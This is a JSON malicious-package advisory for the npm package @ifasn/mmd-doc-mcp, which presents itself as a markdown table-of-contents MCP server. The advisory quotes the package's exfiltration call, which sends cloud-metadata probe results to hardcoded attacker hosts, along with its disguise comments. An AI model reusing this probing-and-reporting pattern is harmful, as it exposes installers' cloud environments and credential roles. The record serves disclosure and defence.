{"id":"MAL-2026-18488","kind":"package","aliases":["MAL-2026-18488"],"related":[],"title":"Malicious code in @ifasn/mmd-doc-mcp (npm)","description":"---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7)\nOn startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry(\"?stage=report&src=mmd-doc-mcp&nodes=\" + results.join(\",\"))` to `TELEMETRY_HOSTS = [\"http://121.199.24.94.nip.io\", \"http://121.199.24.94\"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@ifasn/mmd-doc-mcp","fixed":[],"affected":"= 1.0.0; = 1.0.2","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-11-02T20:59:54+00:00","first_seen_at":"2026-11-02T21:35:22+00:00","triaged_at":"2026-11-02T21:37:01+00:00","updated_at":"2026-11-02T21:37:01+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-18488':8A,11A '-2026':7A,10A '121.199.24.94':96C '121.199.24.94.nip.io':95C 'advertis':120C 'aggreg':67C 'alibaba':48C 'also':175C 'amazon':26C 'amazon-inspector':25C 'attach':113C 'author':78C 'author-control':77C 'avoid':187C 'aw':39C 'azur':46C 'bare':181C 'benign':159C 'bin/main':31C 'canon':166C 'cloud':33C,108C,139C,167C 'code':2A,73C,101C,143C 'comment':144C 'config':62C,150C 'configsync':147C 'configur':160C,172C 'content':128C 'control':79C 'credenti':54C,140C 'destin':80C 'detail':17C 'dns':188C 'doc':88C 'e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7':28C 'edit':20C 'endpoint':37C,70C,169C 'enterpris':148C 'frame':155C 'gcp':45C 'hardcod':76C 'health':60C 'host':94C 'http':71C,178C 'iam/ram':114C 'identifi':104C,146C 'ifasn/mmd-doc-mcp':4A,12A 'imds/credential':168C 'imdsv2':42C 'includ':40C,49C 'inspector':27C 'instal':106C 'instanc':35C 'instance-metadata':34C 'intranet':149C 'ip':182C 'line':23C 'mal':6A,9A 'malici':1A,13B 'markdown':124C 'mcp':89C,129C 'metadata':36C,141C 'mmd':87C 'mmd-doc-mcp':86C 'name':59C 'need':136C 'nip.io':185C 'node':63C,90C,152C 'npm':5A 'packag':14B,119C 'path':44C,56C 'pattern':102C 'per':15C,69C 'per-endpoint':68C 'pingtelemetri':82C 'plaintext':177C 'present':117C 'probe':32C,61C,138C,163C 'provid':109C 'purpos':132C 'ram':51C 'reconnaiss':157C 'registr':189C 'report':84C 'results.join':91C 'return':98C 'role':55C,115C 'secur':53C 'security-credenti':52C 'server':130C 'servic':142C,173C 'sourc':16C,24C 'src':85C 'stage':83C 'startup':30C 'status':72C,100C 'status-cod':99C 'sync':151C 'synchron':161C 'tabl':126C 'table-of-cont':125C 'telemetri':93C 'token':43C 'traffic':174C 'transmit':65C 'uniqu':103C 'url':164C 'use':176C 'variabl':58C 'via':81C 'whether':111C 'wrap':183C '不收集文档内容':154C '健康检查只记录状态码':153C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"pkeys":["mmddocmcp"],"ptokens":["doc","ifasn","mcp","mmd"],"labels":["critical","malicious","npm","package"],"first_public_at":"2026-11-02T20:59:54+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-18488","url":"https://osv.dev/vulnerability/MAL-2026-18488","severity":"critical","published_at":"2026-11-02T20:59:54+00:00","modified_at":"2026-11-02T21:15:06+00:00","first_seen_at":"2026-11-02T21:35:22+00:00","fetched_at":"2026-11-02T21:35:22+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}